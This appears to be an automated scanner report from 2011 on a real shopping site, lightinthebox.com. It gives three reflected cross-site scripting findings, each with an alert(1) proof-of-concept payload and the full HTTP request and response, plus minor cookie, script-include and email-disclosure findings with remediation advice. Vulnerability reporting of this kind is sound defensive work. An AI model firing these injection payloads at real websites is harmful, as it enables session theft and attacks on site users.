XSS, lightinthebox.com, Cross Site Scripting

XSS in lightinthebox.com | Vulnerability Crawler Report

Report generated by CloudScan Vulnerability Crawler at Fri Feb 04 09:26:16 CST 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Loading

Loading

1. Cross-site scripting (reflected)

1.1. http://www.lightinthebox.com/wholesale-Shower-Faucets_c2863 [REST URL parameter 1]

1.2. http://www.lightinthebox.com/wholesale-Shower-Faucets_c2863 [name of an arbitrarily supplied request parameter]

1.3. http://www.lightinthebox.com/wholesale-Shower-Faucets_c2863 [name of an arbitrarily supplied request parameter]

2. Cookie scoped to parent domain

3. Cross-domain script include

4. Cookie without HttpOnly flag set

5. Email addresses disclosed



1. Cross-site scripting (reflected)  next
There are 3 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.lightinthebox.com/wholesale-Shower-Faucets_c2863 [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.lightinthebox.com
Path:   /wholesale-Shower-Faucets_c2863

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 90e81"><script>alert(1)</script>49b2497dc was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wholesale-Shower-Faucets_c286390e81"><script>alert(1)</script>49b2497dc HTTP/1.1
Host: www.lightinthebox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Server: LITBWS/1.0.8.dev
Date: Thu, 03 Feb 2011 22:02:05 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Accept-Encoding
P3P: CP="CAO PSA OUR"
Set-Cookie: cookie_test=please_accept_for_session; expires=Sat, 05-Mar-2011 22:02:05 GMT; path=/; domain=.lightinthebox.com
Set-Cookie: __cust=AAAAAE1LJd2b1SLSA0e1Ag==; expires=Fri, 03-Feb-12 22:02:05 GMT; domain=lightinthebox.com; path=/
Set-Cookie: SRV=s3; path=/
Content-Length: 94075


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotoco
...[SNIP]...
<a href="/wholesale-Shower-Faucets_c286390e81"><script>alert(1)</script>49b2497dc">
...[SNIP]...

1.2. http://www.lightinthebox.com/wholesale-Shower-Faucets_c2863 [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.lightinthebox.com
Path:   /wholesale-Shower-Faucets_c2863

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8c002"><script>alert(1)</script>7f0bb6aab4f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wholesale-Shower-Faucets_c2863?8c002"><script>alert(1)</script>7f0bb6aab4f=1 HTTP/1.1
Host: www.lightinthebox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: LITBWS/1.0.8.dev
Date: Thu, 03 Feb 2011 22:01:52 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Accept-Encoding
P3P: CP="CAO PSA OUR"
Set-Cookie: cookie_test=please_accept_for_session; expires=Sat, 05-Mar-2011 22:01:52 GMT; path=/; domain=.lightinthebox.com
Set-Cookie: __cust=AAAAAE1LJdB3+EjrA6g2Ag==; expires=Fri, 03-Feb-12 22:01:52 GMT; domain=lightinthebox.com; path=/
Set-Cookie: SRV=s2; path=/
Cache-control: private
Content-Length: 154339


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotoco
...[SNIP]...
<a class="sub-menu-icon" href="/wholesale-Shower-Faucets_c2863?8c002"><script>alert(1)</script>7f0bb6aab4f=1#nogo" rel="nofollow" title="">
...[SNIP]...

1.3. http://www.lightinthebox.com/wholesale-Shower-Faucets_c2863 [name of an arbitrarily supplied request parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.lightinthebox.com
Path:   /wholesale-Shower-Faucets_c2863

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 82d7d'%3balert(1)//5681bfb5b3e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 82d7d';alert(1)//5681bfb5b3e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /wholesale-Shower-Faucets_c2863?82d7d'%3balert(1)//5681bfb5b3e=1 HTTP/1.1
Host: www.lightinthebox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: LITBWS/1.0.8.dev
Date: Thu, 03 Feb 2011 22:01:54 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Accept-Encoding
P3P: CP="CAO PSA OUR"
Set-Cookie: cookie_test=please_accept_for_session; expires=Sat, 05-Mar-2011 22:01:54 GMT; path=/; domain=.lightinthebox.com
Set-Cookie: __cust=AAAAAE1LJdKdmyLWA0jaAg==; expires=Fri, 03-Feb-12 22:01:54 GMT; domain=lightinthebox.com; path=/
Set-Cookie: SRV=s3; path=/
Cache-control: private
Content-Length: 155234


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotoco
...[SNIP]...
<a class="nowrap tab_USD" href="http://www.lightinthebox.com/wholesale-Shower-Faucets_c2863?82d7d';alert(1)//5681bfb5b3e=1&amp;currency=USD" rel="nofollow" title="US Dollar" target="_top">
...[SNIP]...

2. Cookie scoped to parent domain  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lightinthebox.com
Path:   /wholesale-Shower-Faucets_c2863

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

Request

GET /wholesale-Shower-Faucets_c2863 HTTP/1.1
Host: www.lightinthebox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: LITBWS/1.0.8.dev
Date: Thu, 03 Feb 2011 22:01:45 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Accept-Encoding
P3P: CP="CAO PSA OUR"
Set-Cookie: cookie_test=please_accept_for_session; expires=Sat, 05-Mar-2011 22:01:45 GMT; path=/; domain=.lightinthebox.com
Set-Cookie: __cust=AAAAAE1LJclZoSofA3ibAg==; expires=Fri, 03-Feb-12 22:01:45 GMT; domain=lightinthebox.com; path=/
Set-Cookie: SRV=s6; path=/
Cache-control: private
Content-Length: 154109


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotoco
...[SNIP]...

3. Cross-domain script include  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lightinthebox.com
Path:   /wholesale-Shower-Faucets_c2863

Issue detail

The response dynamically includes the following scripts from other domains:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /wholesale-Shower-Faucets_c2863 HTTP/1.1
Host: www.lightinthebox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: LITBWS/1.0.8.dev
Date: Thu, 03 Feb 2011 22:01:45 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Accept-Encoding
P3P: CP="CAO PSA OUR"
Set-Cookie: cookie_test=please_accept_for_session; expires=Sat, 05-Mar-2011 22:01:45 GMT; path=/; domain=.lightinthebox.com
Set-Cookie: __cust=AAAAAE1LJclZoSofA3ibAg==; expires=Fri, 03-Feb-12 22:01:45 GMT; domain=lightinthebox.com; path=/
Set-Cookie: SRV=s6; path=/
Cache-control: private
Content-Length: 154109


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotoco
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://cloud.lbox.me/includes/templates/dev_v2/css/stylesheet_47851.css" />
<script type="text/javascript" src="http://cloud.lbox.me/includes/templates/dev_v2/jscript/lang/en_47851.js"></script>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.1/jquery.min.js"></script><script type="text/javascript" src="http://cloud.lbox.me/includes/templates/dev_v2/jscript/vJquery_47851.js"></script>
...[SNIP]...
</div>


<script type="text/javascript" src="http://partner.googleadservices.com/gampad/google_service.js">
</script>
...[SNIP]...
</script>


<script type="text/javascript" src="http://partner.googleadservices.com/gampad/google_service.js">
</script>
...[SNIP]...
</script>


<script type="text/javascript" src="http://partner.googleadservices.com/gampad/google_service.js">
</script>
...[SNIP]...
</script>


<script type="text/javascript" src="http://partner.googleadservices.com/gampad/google_service.js">
</script>
...[SNIP]...
</script>


<script type="text/javascript" src="http://partner.googleadservices.com/gampad/google_service.js">
</script>
...[SNIP]...
<div class="margin_t"> <script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'></script>
...[SNIP]...
<div class="margin_t">
   <script type="text/javascript" src="http://partner.googleadservices.com/gampad/google_service.js">
</script>
...[SNIP]...
<div class="allborder margin_t "><script type="text/javascript" src="http://partner.googleadservices.com/gampad/google_service.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript" src="https://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...
</a>
<script type="text/javascript" src="https://seal.verisign.com/getseal?host_name=www.lightinthebox.com&amp;size=S&amp;use_flash=YES&amp;use_transparent=YES&amp;lang=en"></script>
...[SNIP]...

4. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lightinthebox.com
Path:   /wholesale-Shower-Faucets_c2863

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /wholesale-Shower-Faucets_c2863 HTTP/1.1
Host: www.lightinthebox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: LITBWS/1.0.8.dev
Date: Thu, 03 Feb 2011 22:01:45 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Accept-Encoding
P3P: CP="CAO PSA OUR"
Set-Cookie: cookie_test=please_accept_for_session; expires=Sat, 05-Mar-2011 22:01:45 GMT; path=/; domain=.lightinthebox.com
Set-Cookie: __cust=AAAAAE1LJclZoSofA3ibAg==; expires=Fri, 03-Feb-12 22:01:45 GMT; domain=lightinthebox.com; path=/
Set-Cookie: SRV=s6; path=/
Cache-control: private
Content-Length: 154109


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotoco
...[SNIP]...

5. Email addresses disclosed  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lightinthebox.com
Path:   /wholesale-Shower-Faucets_c2863

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /wholesale-Shower-Faucets_c2863 HTTP/1.1
Host: www.lightinthebox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: LITBWS/1.0.8.dev
Date: Thu, 03 Feb 2011 22:01:45 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Accept-Encoding
P3P: CP="CAO PSA OUR"
Set-Cookie: cookie_test=please_accept_for_session; expires=Sat, 05-Mar-2011 22:01:45 GMT; path=/; domain=.lightinthebox.com
Set-Cookie: __cust=AAAAAE1LJclZoSofA3ibAg==; expires=Fri, 03-Feb-12 22:01:45 GMT; domain=lightinthebox.com; path=/
Set-Cookie: SRV=s6; path=/
Cache-control: private
Content-Length: 154109


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotoco
...[SNIP]...
ages/english/logo/PaypalVerify.gif" border="0" title="wholesale PaypalVerify " alt="wholesale PaypalVerify" style="cursor:pointer" onclick="javascript:window.open('https://www.paypal.com/verified/pal=order@litb-inc.com','olcwhatispaypal','toolbar=no, location=no, directories=no, status=no, menubar=no, scrollbars=yes, resizable=yes, width=400, height=350');" />
...[SNIP]...

Report generated by CloudScan Vulnerability Crawler at Fri Feb 04 09:26:16 CST 2011.